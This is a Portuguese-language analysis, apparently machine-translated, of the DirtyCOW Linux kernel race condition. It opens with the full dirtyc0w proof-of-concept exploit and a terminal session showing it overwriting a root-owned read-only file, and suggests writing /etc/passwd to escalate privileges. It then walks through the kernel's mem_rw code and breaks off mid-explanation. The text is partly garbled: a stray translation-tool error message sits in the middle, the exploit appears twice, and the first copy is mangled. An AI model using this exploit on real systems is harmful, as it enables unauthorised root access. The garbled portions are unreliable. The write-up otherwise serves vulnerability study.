
Notas do DirtyCOW
void *map; int f; struct stat st; char *name;
void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }
void *procselfmemThread(void *arg) { char str; str = (char)arg;
int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }
int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
Desculpe, não há conteúdo para traduzir. O campo "INPUT:" está vazio. Por favor, forneça o texto em chinês (zh) para que eu possa traduzi-lo para português (pt).```
$ sudo su
# echo "READ ONLY" > flag.txt
# chmod 0404 flag.txt
# exit
$
$ ll flag.txt
-r-----r-- 1 root root 10 flag.txt
$ echo "aaaaaa" > flag.txt
Permission Denied
$
$ gcc -pthread dirty.c -o dirty
$ ./dirty flag.txt aaaaaa
mmap 7f1a35bc4000
procselfmem -2094967296
madvise 0
$ cat flag.txt
aaaaaa
Uma técnica de exploração bastante comum é escrever sem autorização em /etc/passwd para modificar o usuário root ou modificar as permissões do usuário a fim de escalar privilégios.
Vamos primeiro ver o que o exp faz.```c int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content"); return 1; }
pthread_t pth1, pth2; f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
- Primeiro, chamar pthread para criar duas threads
- Em seguida, `fopen` abre o arquivo de destino `argv[1]` somente leitura
- Mapear o arquivo na memória com `mmap` (endereço aleatório). `MAP_PRIVATE` cria um mapeamento de memória privado para a tarefa. Se outra tarefa tentar escrever nesta memória, o processo primeiro faz uma cópia antes de escrever, evitando assim gastar muito tempo e espaço para copiar todo o espaço de memória ao criar processos filhos ou threads, e garantindo que operações de memória concorrentes entre tarefas não interfiram umas nas outras. Isso é o CopyOnWrite
- Em seguida, iniciar duas threads: uma para executar `madviseThread` e outra para executar `procselfmemThread`
Depois, vejamos os corpos de execução das duas threads:
- Uma thread chama `madvise` no mapeamento do arquivo para informar o kernel sobre o uso da memória mapeada ou memória compartilhada. `MADV_DONTNEED` indica que essa região de memória não será mais usada e o kernel pode liberá-la
- A outra thread abre `/proc/self/mem` com permissões de leitura e escrita. Este arquivo é o mapeamento da memória virtual do próprio processo. Então ela tenta repetidamente escrever a informação alvo no arquivo```c
void *madviseThread(void *arg) {
char *str;
str = (char*)arg;
int i, c = 0;
for(i = 0; i < 100000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
void *procselfmemThread(void *arg) {
char *str;
str = (char*)arg;
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 100000000; i++) {
lseek(f, (uintptr_t)map, SEEK_SET);
c += write(f, str, strlen(str));
}
printf("procselfmem %d\n\n", c);
}
Finalmente, sob o bombardeio alternado de duas threads, o kernel apresentou uma vulnerabilidade de condição de corrida, e procselfmemThread conseguiu escrever em um arquivo somente leitura.
mmap apenas estabelece um mapeamento de memória no vma, mas não coloca realmente o arquivo mapeado em um quadro de página físico. Portanto, quando tentamos write no arquivo pela primeira vez, uma falha de página será inevitavelmente acionada.Começamos a análise a partir de write. Qualquer operação em um arquivo deve passar pela tabela virtual file_operations registrada no VFS pelo sistema de arquivos ao qual o arquivo pertence. Os arquivos em /proc são implementados pelo procfs. Encontrando proc_mem_operations, podemos ver que write está vinculado a mem_write.```c
static const struct file_operations proc_mem_operations = {
.llseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,
.release = mem_release,
};
`mem_write` é um wrapper para `mem_rw` (com o sinalizador `write` definido como 1). O fluxo principal de `mem_rw` é:
- Primeiro, `__get_free_page` aloca uma página livre temporária para atuar como buffer.
- Se for uma operação de escrita, `copy_from_user` copia os dados a serem escritos para a página temporária.
- Em seguida, `access_remote_vm` lê os dados do destino para a página livre (leitura) ou escreve o conteúdo do buffer no endereço de destino (escrita).
- O termo "remote" se deve ao fato de que este processo pode ler ou escrever em arquivos mapeados na memória de outros processos, o que significa que o processo pode acessar o espaço de endereço de outros processos, ao contrário de outros sistemas de arquivos de memória.
- Se for uma operação de leitura, os dados lidos na etapa anterior para a página livre são copiados de volta para o buffer do usuário.```c
static ssize_t mem_rw(struct file *file, char __user *buf,
size_t count, loff_t *ppos, int write)
{
struct mm_struct *mm = file->private_data;
unsigned long addr = *ppos;
ssize_t copied;
char *page;
if (!mm)
return 0;
page = (char *)__get_free_page(GFP_TEMPORARY); // 申请临时空闲页面
if (!page)
return -ENOMEM;
copied = 0;
if (!atomic_inc_not_zero(&mm->mm_users))
goto free;
while (count > 0) {
int this_len = min_t(int, count, PAGE_SIZE); // 本次读取/写入数据长度,单次最大为PAGE_SIZE
if (write && copy_from_user(page, buf, this_len)) { // 若是写操作,从用户空间拷贝待写数据到临时空闲页面
copied = -EFAULT;
break;
}
this_len = access_remote_vm(mm, addr, page, this_len, write); // 读取/写入数据到临时空闲页面
if (!this_len) {
if (!copied)
copied = -EIO;
break;
}
if (!write && copy_to_user(buf, page, this_len)) { // 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
copied = -EFAULT;
break;
}
buf += this_len;
addr += this_len;
copied += this_len;
count -= this_len;
}
*ppos = addr;
mmput(mm);
free:
free_page((unsigned long) page); // 释放临时空闲页面
return copied;
}
access_remote_vm é um wrapper para __access_remote_vm. O fluxo principal é: